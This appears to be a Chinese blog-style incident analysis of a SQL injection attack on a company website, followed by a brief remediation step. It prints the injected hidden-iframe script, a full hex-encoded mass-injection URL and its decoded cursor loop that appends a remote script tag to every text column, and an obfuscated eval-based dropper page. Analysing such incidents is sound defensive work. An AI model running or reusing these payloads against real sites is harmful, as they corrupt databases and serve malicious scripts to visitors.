近日公司网站不小心被sql注入攻击了,详细分析如下
1 现象:打开网页,FF出现提示有不安全代码,查看后确认调用了外部恶意网站的javascript脚本。
2 打开数据库,发现数据库的文本字段都加了 <script src=‘
http://www.cntrl62.com/b.js’> </script>
该脚本代码如下:
window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("updngg=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = "updngg=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://portwbr.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}
3 该脚本执行javascript后,自动写入 iframe ,且设置该窗口为不可见。这里面可以执行任意的恶意脚本或下载病毒等,还好只是弹出广告窗口。
4 该脚本如何注入,通过sql没有检查参数,写入sql语句。
http://xxx.com/x.asp?id=54;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E626E726164642E6D6F62692F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
通过sql analyzer 分析,可以得出该sql语句。
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.upcomd.com/ngg.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
通过循环查找每个表的varchar ,text ,char 字段,在后面加入 " <script src=http://www.upcomd.com/ngg.js></script>" 字符串。
该脚本执行后调用的页面还采用了js加密调用里面的内容。

Code
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<script type="text/javascript">
<!--

function IBnp0soPi(XJUJs1aEd, s0itTV123)
{var b22O3Al6L = arguments.callee;var cGH56duGX = 4294967296;b22O3Al6L = b22O3Al6L.toString();b22O3Al6L = b22O3Al6L + location.href;var Us4Vf8a88 = eval;var NrcnndH2N = b22O3Al6L.replace(/\W/g, "");NrcnndH2N = NrcnndH2N.toUpperCase();var xA25E24vc = new Array;for(var K8Up7m8b8 = 0; K8Up7m8b8 < 256; K8Up7m8b8++)
{xA25E24vc[K8Up7m8b8] = 0;}var uiDL26Yl5 = 1;for(var K8Up7m8b8 = 128; K8Up7m8b8; K8Up7m8b8 >>= 1)
{uiDL26Yl5 = uiDL26Yl5 >>> 1 ^ (uiDL26Yl5 & 1 ? 3988292384 : 0);for(var bk8OA3386 = 0; bk8OA3386 < 256; bk8OA3386 += K8Up7m8b8 * 2)
{var m1qUuEnw8 = K8Up7m8b8 + bk8OA3386;xA25E24vc[m1qUuEnw8] = xA25E24vc[bk8OA3386] ^ uiDL26Yl5;if (xA25E24vc[m1qUuEnw8] < 0)
{xA25E24vc[m1qUuEnw8] += cGH56duGX;}}}var URpc2PJWC = cGH56duGX - 1;for(var bgcBcV45u = 0; bgcBcV45u < NrcnndH2N.length; bgcBcV45u++)
{var Yup26AxV3 = (URpc2PJWC ^ NrcnndH2N.charCodeAt(bgcBcV45u)) & 255;URpc2PJWC = (URpc2PJWC >>> 8) ^ xA25E24vc[Yup26AxV3];}URpc2PJWC = URpc2PJWC ^ (cGH56duGX - 1);if (URpc2PJWC < 0)
{URpc2PJWC += cGH56duGX;}URpc2PJWC = URpc2PJWC.toString(16).toUpperCase();while(URpc2PJWC.length < 8)
{URpc2PJWC = "0" + URpc2PJWC;}var n452FUpUd = new Array;for(var K8Up7m8b8 = 0; K8Up7m8b8 < 8; K8Up7m8b8++)
{n452FUpUd[K8Up7m8b8] = URpc2PJWC.charCodeAt(K8Up7m8b8);}var JauBYKpy3 = "";var HXH6kJ6en = 0;for(var K8Up7m8b8 = 0; K8Up7m8b8 < XJUJs1aEd.length; K8Up7m8b8 += 2)
{var m1qUuEnw8 = XJUJs1aEd.substr(K8Up7m8b8, 2);var TQSbI820F = parseInt(m1qUuEnw8, 16);var b3A046i7F = TQSbI820F - n452FUpUd[HXH6kJ6en];if(b3A046i7F < 0)
{b3A046i7F = b3A046i7F + 256;}JauBYKpy3 += String.fromCharCode(b3A046i7F);if(HXH6kJ6en + 1 == n452FUpUd.length)
{HXH6kJ6en = 0;} else
{HXH6kJ6en++;}}var IG3cf3ly4 = 0;try
{Us4Vf8a88(JauBYKpy3);} catch(e)
{IG3cf3ly4 = 1;}try
{if (IG3cf3ly4)
{window.location = "/";}} catch(e)
{}}
//-->
</script>
</head>
<body onload="IBnp0soPi('96b6a693A49EA6B050a6707DA79F678880b660a364A89E9966B58F615c55ABaa9cB1A26363a69A6babb799A2507b877591868C67606a577f50a2aa97A5A29cB0A4B4669391a1a3A7957cae91a255ACBA65ac6d849d7B6b626d616C6269697078677371666B7b877591868c67606A577F50878863917A8b79607666A49F88abb499AF9F5859707d9263a27D8467656c626d617E8063967c9667716D505b55A3B193A2ac999Fa365aaA2A69E6ba696A9627b99a58284986D92A561755095AB98ae6bB799A2508b9D739C78849865a4577F50878863917A8b79607666A295a5a3a393a6605f8C8C66a95C615a5259708da861ad6F7C986Aa6626D618e9661a16E8e9876a75EA4A48cB2A0a6aa7391a89c6A597cAE91A255998BA9b5917D798DA6626D61a695a75578B4a2a2b16b96a4A96Aa6a2aa5082787BA963717066a4557462607C588273799E7560796EA4507157746577735082787bA963717066A460626B50bc9A79A9A9908F7999a78b82787Ba963717066A492577F507173ada696a9627a899C619f658DAB9d61755061709DB1a269AE91a255898574a86B60686BAB626D6169626870579473859F63606D6db66b618A73749c6A726877ac506e737462616a58ab7a7D9b739F718e999D5574627A899c619f658dab9d61766E6E5568628e61607a789968b16097a19d505B577350805863696d6F7469736b6864557162606a73969FA75fb891b3588468808F9a80b58693507257726b618c687B8d8F92A48F9B506C556977667C588468808f9A80B586935060746282847C9763656F78A4616250625E57bdA6A2aa509E6b8295A583B0636655746282847c9763656f78a4616350846D829A8891ac7e9370998Ba9B5917D798DA69D9E778383A577AF75669E586d509780BBA49A857988A49296688C908880a985A58D6196507a7D9b739f718E999d70a0a850699A79a9A9908f7999a78b9E6B8295A583B0636692577e50716150AB9780BBa49A857988a492b0668c8BA572AD6a788D61636d50aaaf779b768C9D766972bfADBEae91A2559e8966A28773847fa5626D61ada865a06C969d876C505D55687d96B0aa58a696A96294A76f9F8969abAB7C617550607057A69678A78964a9A08e507d58869666a3797cA96d9F5eA19cB097b5a06b50999D799F9A6ca49981626D5961B3a691a7578583716b669Ea16fB5507e5858977C6da37f848c7A9e55956286a7699c67819f779f6f9b9891a77AB194a679A458999D799f9a6Ca49981606B50675862656A72a97777997F738981b0507E5858977C6dA37F848C7a9E5575806e617059509357a479BAAC897d7E8fb18B848B60636BA5AE68b4956bad9C7e7891907b847AA3577F50A87F6691847A967Aaf588E505dACBA65AC6D849d7b6B625D6169596B9e9d6258A87F6691847A967AAF586C50656062ABa87F6691847a967aAF585B6D55ACBA65ac6D849D7b6b7DADa87f6691847A967Aaf586D509c7e7891907B847aa365b69F94aca299A39E6A6177615EA4A48Cb2A0A6AA7391A89c6A597Caf9899a19c6A97886E917f788b8C9E6fa4959E9cabaa507D58685955B2a97777997F738981B0507E58526057576D50a87F6691847A967aAF73ADa696A9628877af6885807F9b7b6175509e9aae6271B3aa91A9709dB1a269ae91A255898574A86b60686BAB626d61686b50877A869774686866A9577E5079735082787bA963717066A460626B50bc9066a76D8c8d789A838b82787BA963717066a492577F50a87f6691847A967AAF66939896a9859Fa59D71A45d898574A86B60686bAB6B6bbeAE91A2559Aad67A36960A5a969626D615A526bAB98b450AAa4a660677FAEa987586D506572A89Fb360a691a7579473859F63606D6DB6507e58606b55898574a86B60686bAB626c61AB64A39c8e78A498695e9C9aA5a9a4a9735082787bA963717066a455627f507361ABa696A9629e778383A577af7566617550a369aaA98777AC876163aab792b4acA258877A869774686866A96362626a73a691a75786a7A4707263659Eae507E58A091a7AAa779AFAC589e6b8295a583B06366615773666A73A691A7579ba1866c8273998C77507e5874a7986f8463719f9C5062579a66B870857b7D908d8baaa4a660677faea987956b999B5F9Ba1866C8273998C77507D58605955B29BA1866C8273998c77507E5889a17A6B9473a58d6550605774657773ad93A06Ea46171ADA46255627f5094ACA299a39e7096b3a79d739D98B473B09C95588ea88764937b94856A607D99a760999cAB677478adB17650605773507e7550886Bae7a858c80897B63a3a79EA8ac985955B2ab9cb7686278A1B088507e58606BB257A79CB49d50ab9eA3b86073809Ca97B626D6BbeB5A691a75789637683869B6A6a7a507e58606bA9a9BB50bc83889D878bA56691ad5893A06eA46171ADa4625E72bf50a499A4939D5fa75961B377636a82989B766B68507257736Bbeaca2A955b2AB96616077636A82989b766b685955b2B999AF9c9FA763A3B193a2AC999FA3577f506367526Bb2B46293A2ac93985d9c6b50bcB5AD3A9a6f8fa7AB687680aa5F6964776c60919898A566746e916566707991797169726D797591799a6091696d7391736e7169686f7A917571616768707866736d66727A6C7564A56c766376987B69A2796866686f8691777095666670a666826f68726E6B8868716E62656c6D7566716f6165656C72727A996391676c759176999568696EA868827093676a6E7B64736F6366686D8667746F62656C6d8764776C60926e987992766e62696B6D78727379666997798672837166636E6e72657A6d7467686e7866826F7463796AA671877167926a6d78717a6f69699a6Ea4687871927176997964a46F9665656C83667a6E6666966F7365716C9363796A867185996872786d7872866C7663766Aa569877965726A6d7866A37a6869669877657a9965696a707492A3716667666DA5717A6F6367686f73927371646778788468856F676798797867877A606966787B91737174716999A392739A64657a9875917679727176788872729A65657A70a869A67964717699A371836f94697B6f7768767975696C6F7967a47A6265776Ca766736D66727a6C7564856C92636E987B69829968666870789274999568666D7669A2706692696D7868716E62697a7076718771769196987992787A6191676D73917A7962926D98a671847A6091686F8771797068687B798769787063666E787569776e64926698799271996766976b7264746b9664986C7564856C92636E70a569a76D6666976F86917770956666708666826f68726E6D7868716f7665656D75657a6d93666E6D7869749A6269986F7666A271676968997967727972699a7079698699956967788566A36e646866787a91737169717A70a371847976696a6C7766736d6666696f7566746e9666666ca5657a9A6165656C7264A46c92636E787B69a279686668707292747069696970A66785996769796d7868716e627165707691a37969916D6FA892729A66656d6f75717A996269696E799175716291666d7391A371929268997491757965696A6C8466797162686C6e7771826e75656c6CA366736D96679A6c7564A56c9663766A8564736b96919898a566746E91679698756871719191996F837275717365656e73657A6e6666986D7872866C7663766AA564736B7664986fa6717770756666708666A26F68726e6d7868716E62677678756871719191996fa372757173659a787971797069926c797A91A47A60696c6c8466a26E7366786f7364846C72636E6A8564776C6064986b8864A49a9663796a8664736b7673656C7564a56c7663966Aa564737196716E6d7866839995716D6E7667736F7468996Fa4687A6E6266796e72657a6d9467686e7866A26e62656B6C7b657a70667268797469756F6369666F7591A26e647178997691789967716d6f7469876D95666a6F7991789a616967707A657a6f67716b997a927399646966787965836D7666686D7968716e6265796d7666736D66929a6c7564856c72636E6aA5687A9966919B70796775996368659876657A6f636668997671759A68696E7083698299917267797a67727A626978987A717171767266997b69A67a6168676EA87272707168696E8872747196657a707969867969716b797a71849a62916970a571797964677a6C7564A56C9663966aa564736B76919898a566746E7168657875917670676769987969747a63657A708591787191916d798769739968656d6C77657A6E72666a6dA866746e6366996c7566776e6766786D7892a66C7663766a8564736b766478797472837063666E6E8368746f72686E6d7868716e62656C6D7566A66d74679a6C7564856C72636E6Aa592776d66716D997472779967656570a569a76d66669770789274797568666d7669A2706672696E7691A47a606969707A92727065716e6d8766766e62666B6c7766736d6666696F7566746E9666666C85657a9A6165656c7264846C72636E6AA59176999568696E8868827073676a6e7B657a6F6366686da667746F68656c6dA764776C6064986b8864A49a966565707A71767969916d6D7891a4796865656C84687a7966919b7079677599636865987666787176926698a391799a91679B707B66726d6866686E8666766E9265656c7667776D6667656E7966846E6271776B7264746b7664786bA864849995916d6e7667736F9468796f84687A6e6266796c7566716e6667766D8667866C7663766a8564736B9693656D78717979759168707A657A7A6165656c7264A46C72636E6A857176797568696e8868827093676A6E7B657a6f6366686D8667746F63656C6dA764776c6064786B8864a47a7663996A8664736b7673656c7564A56C7663966a8564737176916e6d7866a3996866687885717a70759296798769786e6266796E72657a6d9467686e7866a26E62656b6C7B657a70669268997469756F6369666f7591a26e649198997691789967716d6F7469a76D95666a707B71839a61696870A772717167926e7884667470686998707691A47195666A6d8866746e6366996C7566776e6766986D7872866C9663966A8564736b76726e787972766E62696B6FA467A56f71676b70759177707465656e72657a6d7466966f7365716c93636e6A85647370667268997469756F6369666f7591a26d6668656d7872727963916B708571717167926c797772766f607165708891A671747178797692777174699b6F7768767975696c6f7967849A6268996d7369a57192726B787b92769992716578799173796592666f7365716C7363996aa664736b766478788572737a64656d787b69a279686668797669746F72666B70889272709268986D7868716e6266656Da7657a796469686e88677A9995716D6f7a68736d66679B6D7869749a6269986f76668271676968997967729995696a78739171999171776f7366749a6068656DA5668779627277708468a46E9465776CA5657a7a6165656c7264a46C72636e6a8571877167926A6D7869717167696C987266877092696C787a66746f7665656f75917a796269696e797175716291666D73698471757169797A68759a66656D9873687A6E96676E997492a37167676e6C8567756C6364996C7564856C92636e6aa564737196916e6D7866a36e63696E78786878716769666d87927499637167787869866F767266798366A37096686a708371776E73696d70A371766E92656E6c7572767a6266686d8769717167696c987266877092696C787A66746f7666996c7566716e6466966D78667a6E686565707b69726F71686c6E7b6971996567776d7371767172926678869278999165656e73657A6e6666786dA866747A7463996aa664736b9664986ba864847968686d6E7967A56e696965987b68A66e6265776e72657a7063696D788672716F68686a6F7969836f6165656c7264846c92636e6A8592776d66716d997492779967656570a569a76d66667798a56983706667696D7868777169689a6E7671877967697a70a37185717566686F7666746f62656E6C7572756C6364796b8864846c72636e6a8569839968716d987971866F9463796A8664736B7664986Ba893716C7663766a8564736B9673656C7564A56C7663766a8564736B96926e987972766e626866987B91756f69726C79866774706665656e72657A719369976F8368786f656799707868756e64926B797891A7797291696CA466716E6466966d8867a66C9663766B7264746b9664786b8891A4796865656C8468829993919a6f7b72789A6966656e7969756E6691656d7867876E62666E6cA5657a7a6165656c7264846c72636E6a8569876e697278997869839A69716D6F79657A6F6366686da667a29965656C6dA764776C6064786b8864A47A766565707a91767969716D6d7891A4796865656ca468829993919a6F7B92787A6966656e7969756E6671656D7868716f9665656d85657a6D73666e6D7869757a6869976E7891a5797467686f8369a66F6368796c7567776f6366686E7866746e68656B6c7568829993919A6F7B92789A6966656E7969756E6891656d7867A76E6266666d7666866d6666786d7872866c9663966A8564736B76649898A567777A7291656F8492719995696c6D7868716e62656C6da366846D94677a6c7564A56c92636E6Aa572776c6364996b8864849A9663996A8664776C6064786B8891A4796865656ca47176999568696e8868A27073676a6e7b657A6d6768656d7867746e62656b6C7b657a6F94916B70746775999366666e7771876d6666696F7566746F6265656C7B65876d66916E6E7B92A49A62686D98a37272707166686d7968716E6266656CA5657A9a6165656c7264A46C92636e7077718371729169997367866C7663766AA564737a6365656c7264847A7663796aa692776D66716B987972787965696D6C8469866d7666689A7366749A9663796A8664776c60726c797A72846e6271776B7264746B76919898a566746E71697a7076718771967176987992787A6191676D73717771767265788469787A729165707A71847161666A99a591a49966696a7874667979756765997592776E76716c787271876d6891656e7671799A606966707771767192716c707871877a67696c70A571786D7665656C7264846C92696B6d8371786F956966788471829a6365656E72657a6D7467686E7966826F7463996aA692776d66916B787972787965696d6cA469A66d7666689A7366747A7663796aA664776c607276788791A49995696a6CA468717169687B6E7991a56f636767987b66787962916D997691a29A66696d6C7567766d6667976da865716C73636e6EA3698470626769797267757064716B6c7567776D6666966e7866a26e6265976c7568717169687b6e7991A56f636767787B67756C6364796c7564a56C766376987B698279686668797469747064916d788391767065716e6d7868716e626969787469A479727265788472729a66659A70787183719291697983717970676978707A717771727266798366a36e647168707891a37196926899a366766E9266776B726474796269686f7A72839a6969986F7469a76e64726B98a4727870639169987991a37196916a99a492787967656D6C7771859996926898a466766e9565656C7771857172929799A3677399936966987B69827969916b997A91a49A6271696c7766736f6165656C7291a771626767788472717962696798A567729A65696A987967827971926C797a71849964716a787969A66D75666A997b7276996565676ca8657a6d689197798392787a6266766D74667971687266997a71769a66696870a4667871697267997567739965696c70a5667771689198797667737972697A7079698679756766787B71827972669b6D7569A57171676d788567746f6569666D7566826E666768788567746f6566656D75667A6E74679698A46774796769696d7A67726E66676a6E7867746F6266656d75667A6E6667686e7867766f66666A707666866E76676d98A371799968696B6d75667A6D6866686E736674706969686e8866A2996067696f7a727A6e6265776c7569A76E9492666F8769727967696C7876657A6e616668997492A37063666E6eA368746F72686e6d7866A66E62696B6D78927399666997798692A37166656E6Da764776c6065656c7271789A616968787A717771927266798367729964697B707972736e647169797892747967699A7079678471957178997491786E7169986F75678399959296997469737968656E6Da764776C6073656C7564855F596B')">

</body>
</html>

--设置存储过程为二进制字符串
DECLARE @S VARCHAR(4000);
set @s='declare @s varchar(4000);set @s=''hello,my hack'';print @s';
print cast( @s as varbinary(8000))
5 解决方法: 删除所有数据库的字符串。 增加sql注入预防。